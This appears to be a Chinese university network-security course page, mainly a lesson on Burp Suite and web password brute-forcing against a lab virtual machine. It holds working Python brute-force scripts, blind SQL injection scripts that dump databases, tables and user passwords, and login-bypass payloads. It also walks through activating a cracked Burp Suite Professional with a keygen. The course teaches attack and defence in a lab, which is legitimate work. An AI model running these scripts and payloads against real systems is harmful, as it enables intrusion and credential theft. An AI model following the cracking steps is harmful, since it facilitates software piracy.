目录

  • 1 §1 实训项目1 搭建网络安全实训环境
    • 1.1 导入(第1次课)
    • 1.2 §1.1 靶场:虚拟机CentOS7.8(192.168.112.100)
      • 1.2.1 (1)DVWA-master
      • 1.2.2 (2)sqli-labs(第3次课)
      • 1.2.3 (3)sqlmap
      • 1.2.4 (4)login, loginPHP
      • 1.2.5 (5)Firefox, Hackbar
      • 1.2.6 2022.09.07作业1 “未知攻,焉知防”
      • 1.2.7 2022.09.14作业3“拖库—爆库、爆表、爆字段、爆数据”
      • 1.2.8 Q&A-1(作业批改、辅导答疑)
    • 1.3 §1.2 Burp(第2次课)
      • 1.3.1 2022.09.08作业2 “工欲善其事,必先利其器”
      • 1.3.2 Q&A-2(作业批改、辅导答疑)
    • 1.4 §1.3 Python
      • 1.4.1 Python的Anaconda3集成开发环境
    • 1.5 §1.4 Kali
      • 1.5.1 2022.09.15作业4“永恒之蓝漏洞”
    • 1.6 §1.5 Wireshark
    • 1.7 2022.09.15腾讯会议答疑
  • 2 §2 实训项目2 SQL注入
    • 2.1 ■(1)SQL注入联合查询(第3次课)
      • 2.1.1 附件:联合查询SQL注入模板
      • 2.1.2 ■模板
    • 2.2 (2)SQL注入(PDF文档)
      • 2.2.1 ①更新Kali系统中的Firefox浏览器并安装浏览器插件
      • 2.2.2 (2)部署sqli-labs学习环境
      • 2.2.3 (3)sqli-labs使用教学
      • 2.2.4 (4)实战:SQL注入联合查询-获取数据库数据
    • 2.3 ■(3)部署loginPHP网站
      • 2.3.1 ●SQL注入测试
      • 2.3.2 ●创建数据库、部署简单登录网站loginPHP、进行SQL注入测试(2019.12.17)
      • 2.3.3 ①login.php
      • 2.3.4 ②loginAuth.php
      • 2.3.5 ③loginAuth1.php
      • 2.3.6 ④success.php
      • 2.3.7 ⑤failure.php
      • 2.3.8 ■⑥(loginPHP网站SQL注入)结果截图
    • 2.4 (4)DVWA的SQL Injection
    • 2.5 (5)拓展视野:靶场SQL注入
  • 3 §3 实训项目3 通过SQLmap进行SQL注入并获得后台管理员账号和密码
    • 3.1 (1)安装DVWA
    • 3.2 (2)安装SQLmap
    • 3.3 (3)※实战 SQLmap探测DVWA的SQL注入漏洞
    • 3.4 (4)结果截图(SQLmap拖库)
    • 3.5 (5)使用BurpSuite进行POST方式的SQL注入
    • 3.6 ■附 安装DVWA-1.9(完整版)
  • 4 §4 实训项目4 使用永恒之蓝漏洞对Win7进行渗透
    • 4.1 (1)获取Win7系统shell、开启远程桌面
    • 4.2 (2)截图
    • 4.3 (3)Metasploit渗透测试
    • 4.4 (4)使用msf渗透攻击XP并进行远程关机
  • 5 §5 实训项目5 安装Kali渗透测试系统
    • 5.1 BT到Kali的发展史
    • 5.2 (1)安装Kali
    • 5.3 (2)安装BT5
    • 5.4 ■附 安装Kali、BT5、DVWA、SQLmap、Win7
  • 6 §6 实训项目6 配置Kali渗透测试系统
    • 6.1 (1)安装Kali渗透测试系统
    • 6.2 (2)SSH连接Kali
    • 6.3 (3)※ettercap抓取FTP登录账号和密码
    • 6.4 (4)结果截图(ettercap抓取FTP登录账号和密码)
  • 7 §7 实训项目7 ARP协议安全攻防
    • 7.1 (1)ARP协议安全攻防(试题)
    • 7.2 (2)※ARP协议安全攻防
    • 7.3 (4)实训 防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 7.4 (3)练习:防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 7.5 演示视频 arpsproof+etthercap实施中间人攻击
  • 8 §8 实训项目8 暴力破解
    • 8.1 (1)※实战-通过暴力破解Web登录界面获得管理员权限
    • 8.2 (2)字典工具pydictor.py
    • 8.3 (3)hydra和xhydra
    • 8.4 (4)Medusa
    • 8.5 (5)离线破解md5值和shadow加密文件
    • 8.6 (6)Brute Force(DVWA)
    • 8.7 (7)Burp Suite(Windows)
    • 8.8 (8)Burp Suite(Kali)
  • 9 §9 实训项目9 防止黑客攻破Discuz论坛并拿下数据库
    • 9.1 (1)防止黑客攻破Discuz论坛并拿下数据库
    • 9.2 (2)CentOS6.5-desktop及MySQL
  • 10 §10 实训项目10作业 Wireshark抓取Telnet明文包
    • 10.1 (1)※Wireshark抓取Telnet明文包(CentOS6.5)
    • 10.2 (2)结果截图(Wireshark抓取Telnet明文包)
    • 10.3 (3)常用协议分析(ARP、ICMP、TCP、HTTP、DNS)
  • 11 §11 实训项目11 基于文件上传漏洞获得网站shell权限
    • 11.1 ●文件上传(PDF文档)
    • 11.2 (1)基于文件上传漏洞获得网站shell权限
    • 11.3 (2)本地文件包含漏洞截图
    • 11.4 (3)课程资料
    • 11.5 (4)课外 编辑器KindEditor文件上传漏洞
  • 12 §12 实训项目12 Nmap
    • 12.1 (1)安全工具
    • 12.2 (2)Nmap
    • 12.3 (3)网络空间安全(系统渗透测试篇)
    • 12.4 (4)信息收集
  • 13 §13 实训项目13 File Inclusion文件包含漏洞及防御
    • 13.1 (1)本地文件包含
    • 13.2 (2)远程文件包含
  • 14 §14 实训项目14 XSS跨站脚本攻击
    • 14.1 (1)窃取用户Cookie信息保存到远程服务器
    • 14.2 (2)反射型XSS攻击劫持用户浏览器
    • 14.3 (3)存储型XSS窃取用户信息
  • 15 §15 实训项目15 缓冲区溢出漏洞
  • 16 §16 实训项目16 搭建蜜罐系统捕捉黑客操作步骤
  • 17 考核
    • 17.1 平时成绩(40%+30%)
    • 17.2 期末考试(30%)
  • 18 网络1901-04期末考试(2020-2021-2)
    • 18.1 试题1:damicms
    • 18.2 试题2:sqli-labs
    • 18.3 试题3:dvwa
    • 18.4 试题4:loginPHP
  • 19 校外卷重修-B05123网络安全运行与维护复习
    • 19.1 (1)loginPHP
    • 19.2 (2)Python编程
§1.2 Burp(第2次课)

§1.2 Burp

网络2103班——

2022.09.08第1-2节课电脑学习通“直播”回放:

https://zhibo.chaoxing.com/17744756


网络2101-02班——

2022.09.08第3-4节课电脑学习通“直播”回放:

https://zhibo.chaoxing.com/17753469



下载Burp


Burp Suite Professional:

Firefox浏览器                                    Burp               CentOS7.8(192.168.112.100) 

SwitchyOmega代理


Burp:浏览器(Forefox)和相关应用程序的中间拦截(Intercept is on)、修改(发送到Repeater或Intruder)、重放(Forward)与丢弃(Drop)数据包的代理工具。

TCP/IP网络通信的封装和解封——

A层:HTTP头                          应用层Message

T层:TCP头   或   UDP头         TCP报文段Segment

N层:IP头                               IP分组包Packet或IP数据报Datagram

DL层:Ethernet-II(MAC)帧头  以太帧Frame

P层:D数据→D信号                比特Bit,电信号

参考资料:



Burp Suite Professional v1.7.37(Windows版)

©PortSwigger   Builder65  License Expires:2030-10-16

Burp Suite Professional v1.7.37或v2.1

 Java环境:jdk-8u221-windows-x64.exe(220MB)或jre-8u231-windows-x64.exe

 ②burp本体:burpsuite_pro_v1.7.37.jar(27MB)

 ③burp破解软件:burp-loader-keygen.jar(64KB)

①jdk-8u221-windows-x64.exe


②burpsuite_pro_v1.7.37.jar

③burp-loader-keygen.jar

复制License(Ctrl+C)→Run


I Accept


Ctrl+V粘贴→Next


Manaual activation


Copy request


Ctrl+V粘贴到Activation Request文本框,自动生成Activation Response,选取复制Ctrl+C


Paste response→Next


Next


Next


Start Burp


Proxy-->Intercept-->Intercept is on


以后,每次启动只需双击burp-loader-keygen.jar,Run


Run



Burp Suite Professional 2022.3.7(Windows版)

双击:英文版启动-BurpSuiteLoader.bat


运行“打不开就点此升级java版本-java11.exe”(jdk-11.0.9)升级到jdk-11.0.9

(或参阅:为什么应该从系统卸载 Java 的早期版本?https://www.java.com/zh-CN/download/help/remove_olderversions.html

这是jdk1.8.0_221早期版本和jdk-11.0.9)


再运行“英文版启动-BurpSuiteLoader.bat”


I Accept


Next



Start Burp






Burp Suite Community Edition v2021.2.1(Kali版)

©PortSwigger   Builder5962

03-Web程序→burpsuite:




项目实战1——Web安全之暴破登录密码

===================================

【导入情景】

靶机:虚拟机CentOS7.8(192.168.112.100)

项目1.暴力破解密码:http://192.168.112.100/login/login.php

项目2.暴力破解密码:http://192.168.112.100/loginPHP/login.php


暴力破解用户名wl190514的密码

项目3.CTF:http://web.jarvisoj.com:32787


静态:HTML+CSS+JavaScript

           H5       CSS3    jQuery、BootStrap、VUE

动态:3P:ASP,JSP,PHP

                  ASP.NET

Python→Web安全

BurpSuite Professional 2022.3.7

暴力破解方法:

1.Burp

2.Python

3.Kali:

(1)medusa

(2)暴力破解root密码,防御ssh暴力破解,使用fail2ban防止sshd服务被暴力破解

练习:

1.Win7的登录密码

2.Win7的文件共享密码

3.Win7的远程桌面密码

4.MySQL的登录密码

5.SQL Server的登录密码

6.Telnet登录密码

7.FTP登录密码

8.Web登录密码(Burp Suite)

9.破解md5值,破解Linux shadow密码

……


===================================

【解析】WriteUp

项目1.暴力破解密码:http://192.168.112.100/login/login.php

猜测用户名:admin,破解密码

方法1:4位数字的密码字典num4.txt,Burp抓包、改包,用密码字典暴力破解

(1)启动Firefox浏览器

Firefox浏览器登录后台:http://192.168.112.100/login/login.php

浏览器插件SwitchyOmega,选择代理Burp

SwitchyOmega::Burp

PROXY 127.0.0.1:8080

(2)启动Burp

Intercept is on


Firefox浏览器登录后台:http://192.168.112.100/login/login.php

浏览器插件SwitchyOmega,选择代理Burp

输入用户名:admin,密码:1,登录


返回Burp

Proxy选项卡:

UserName=§admin§&Password=§1§&......

若没有以上信息,放包:Forward,或丢包:Drop

Action:Send to Intruder

Intruder选项卡:

Positions子选项卡:

Clear§

选取Password=1中的1,Add§

Payloads子选项卡:

Load:字典num4.txt


Start attack

单击Length

Payload:1905,Length:1760,响应状态码200:


Login successfully!

得到用户名admin的密码:1905


方法2:Python编程暴力破解

查看源代码:

<form action="#" method="get">

    <input name="UserName" type="text" />

    <input name="Password" type="password" />

    <input type="submit" name="submit" value="登录" />

</form>


GET

UserName=admin

Password=1

submit=登录

登录失败显示:Login fail


Python编程暴力破解密码:

import requests

url = 'http://192.168.112.100/login/login.php'

f=open("num4.txt","rt")

while True:

    payload=f.readline().strip("\n")

    data = {

        'UserName':'admin',

        'Password':payload,

        'submit':'登录'

    }

    res = requests.get(url=url,params=data)

    if not 'Login fail' in res.text:

        print(payload)

        break

运行结果:

1905

即用户名:admin的密码为:1905

验证:用户名:admin,密码:1905,登录



登录成功:Login successfully!


项目2.暴力破解密码:http://192.168.112.100/loginPHP/login.php


暴力破解用户名wl190514的密码

方法1:万能密码any' or 1='1,万能用户名any' union select * from users#,可以登录成功,但不能得到指定用户名wl190514的密码

方法2:Python编程暴力破解用户名wl190514的密码

(1)Python编程:数据类型:字符串、字典,模块:requests,SQL注入

(2)MySQL数据库:SQL查询:

select id,username,password from mydb.users where username='$username' and password='$password'

(3)HTML和PHP网络编程:

①连接数据库:$conn=mysql_connect("127.0.0.1","root","123456");

②判断数据库名mydb:mysql_select_db("mydb",$conn) or exit("DB Select Failure</br>");

③SQL查询:

$sql="select id,username,password from users where username='$username' and password='$password'";

$res=mysql_query($sql,$conn) or exit("DB Query Failure</br>");

④找到记录:mysql_num_rows($res)!=0


破解密码步骤:

查看源代码:


POST

usernm=wl190514

passwd=1

Submit=Submit

登录失败显示:Login Failure!


Python编程暴力破解用户名wl190514的密码:

import requests

url = 'http://192.168.112.100/loginPHP/loginAuth.php'

payload1 = "wl190514' and (ascii(substr(password,%s,1))=%s)#"


res = ''

for i in range(1,21):

    print('------------------')

    print(i)

    for j in range(32,127):

        payload = payload1 % (i,j)

        data = {

            'usernm':payload,

            'passwd':'any'

        }

        r = requests.post(url=url,data=data)

        if not 'Login Failure!' in r.text:

            res += chr(j)

            print(res)

            break

运行结果:

------------------

11

7df2cac4872

即用户名:wl190514的密码为:7df2cac4872

验证:



方法3:爆库、爆表、爆字段、爆数据

import requests


url = 'http://192.168.112.100/loginPHP/loginAuth.php'

# payload = "1' and (ascii(substr((database()),%s,1))=%s)#"                    #显示数据库名

# ————爆库:数据库名:mydb

# payload = "1' and (ascii(substr((version()),%s,1))=%s)#"                     #显示DBMS版本信息

# ————DBMS:5.5.68-MariaDB

# payload = "1' and (ascii(substr(  (select (version()))  ,%s,1))=%s)#"        #OK!

# payload = "1' and (ascii(substr(  (concat(0x7e,(version()),0x7e))  ,%s,1))=%s)#"


# payload = "1' and (ascii(substr(  (select table_name from information_schema.tables where table_schema=database())  ,%s,1))=%s)#"

# 显示数据库database()的表名

# payload = "1' and (ascii(substr(  (select table_name from information_schema.tables where table_schema='mydb' limit 0,1)  ,%s,1))=%s)#"

# 显示指定数据库"mydb"的表名

# payload = "1' and (ascii(substr(  (select table_name from information_schema.tables where table_schema='mydb' limit 1,1)  ,%s,1))=%s)#"

# 显示指定数据库"mydb"的第2个表名

# payload = "1' and (ascii(substr(  (select group_concat(table_name) from information_schema.tables where table_schema='mydb')  ,%s,1))=%s)#"

# 显示指定数据库"mydb"的所有表名

# payload = "1' and (ascii(substr(  (select group_concat(table_name) from information_schema.tables where table_schema=database())  ,%s,1))=%s)#"

# 显示当前数据库database()的所有表名

# ————爆表:mydb数据库,表:users


# payload = "1' and (ascii(substr(  (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')  ,%s,1))=%s)#"

# 显示当前数据库database()表"users"中的所有字段名

# ————爆字段:mydb数据库,users表,字段:id,username,password


payload = "1' and (ascii(substr(  (select group_concat(username,':',password) from users)  ,%s,1))=%s)#"

# 显示表"users"中的字段username,password的值

# ————爆记录:users表,字段username,password的值:2:2,1:1,wl190514:7df2cac4


res = ''

for i in range(1,31):

    print('--------------------')

    print(i)

    for j in range(32,127):

        now_payload = payload % (i,j)

        data = {

            'usernm':now_payload,     #login.php的页面源代码中表单的name="usernm",name="passwd"

            'passwd':'any'

        }

        r = requests.post(url=url,data=data)  #login.php的页面源代码中表单的method="post"

        if 'Login Success!' in r.text:    #登录成功返回"Login Success!"

            res += chr(j)

            print(res)

            break

运行结果:

--------------------

28

2:2,1:1,wl190514:7df2cac4872

即用户名:2、1、wl190514的密码分别为:2、1、7df2cac4872

进入后台数据库服务器查看验证:



MySQL数据库:

# mysql -u root -p123456

>show databases;

>use mydb;

>show tables;

>desc users;

>select * from users;

>insert into users values(4,"wl2101-03","210514");

>delete from users where id=3;

>update users set username="wl21" where id=4;

>select * from users;

>exit

#


项目3.CTF:http://web.jarvisoj.com:32787






===================================

【提升总结】

1.产生4位数字、字母、字符的密码字典文件“4.txt”

【分析】

(1)4位数字的密码字典num4.txt(58.5K字节)

# 产生4位数的密码字典

print("产生4位数的密码字典num4.txt:")

f=open("num4.txt","wt")  #w-write  b-binary

for i in range(0,10000):

    now_i=str(i)

    for j in range(0,4-len(now_i)):

        now_i='0'+now_i

    print(now_i)

    now_i=now_i+"\n" 

    f.write(now_i)

f.close()

(2)任意4位(ASCII码值33-126) 的字典4.txt(446M字节)

# 产生4位数字、字母、字符的密码字典文件“4.txt”

f=open("4.txt","wb")   #w-write  b-binary

for i in range(33,127):

    for j in range(33,127):

        for k in range(33,127):

            for l in range(33,127):

                now=chr(i)+chr(j)+chr(k)+chr(l)+"\r\n"

                f.write(now.encode())

f.close()

(3)4位是数字或字母

f=open("4.txt","wb")   #w-write  b-binary

for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":

    for j in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":

        for k in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":

            for l in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":

                now=i+j+k+l

                now=now+"\r\n"

                f.write(now.encode())

f.close()

(4)思考:4位必须有数字、字母、特殊字符?

破解百度网盘的链接:



===================================

【教学资源】

1.Python源程序

2.工具软件

(1)Burp抓包、改包软件(Windows环境)

BURP-安装包附教程:https://bbs.zkaq.cn/t/2404.html

(2)Firefox浏览器代理设置插件SwitchyOmega

(3)Firefox浏览器hackbar插件


3.网站

(1)login

[root@199lch login]# pwd

/var/www/html/login

[root@199lch login]# vi login.php    #修改密码为1905


      1 <?php

      2 if (isset($_GET["submit"])) {

      3         $username = $_GET["UserName"];

      4         $password = $_GET["Password"];

      5         if ($username == "admin" && $password == "1905") {

      6                 echo "Login successfully!";

      7         }else{

      8                 echo "Login fail";

      9         }

     10 }

     11 ?>


(2)loginPHP

需要在MySQL中创建数据库mydb,表users(id,username,password),插入3条记录:


(3)大米CMS:dami5.1

下载网站源码包,解压到您网站web目录/var/www/html/dami5/

运行安装程序http://192.168.112.100/dami5/install/index.php,正确安装

登陆后台http://192.168.112.100/dami5/admin.php,默认用户名:admin,密码:admin888






=====================================

【课外视野】

1.代理

(1)Firefox代理

设置

常规

网络设置

设置:


手动代理配置

HTTP代理:127.0.0.1,端口:8080

确定


(2)SwitchyOmega插件(前述)

(3)FoxyProxy插件




2.Java




3.Burp

burp的安装

所需环境:

(1)Java环境:jre-8u231-windows-x64.exe或jdk-8u221-windows-x64.exe(220MB)

(2)burp本体:burpsuite_pro_v1.7.37.jar(27MB)

(3)burp破解软件:burp-loader-keygen.jar(64KB)

(4)Firefox插件SwitchyOmega




GET /shownews.asp?id=171 HTTP/1.1

Host: 59.63.200.79:8004

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://59.63.200.79:8004/index.asp

Connection: close

Cookie: ASPSESSIONIDSQATTCBS=IGAAMLACOPONNPDOLMINCPHL

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0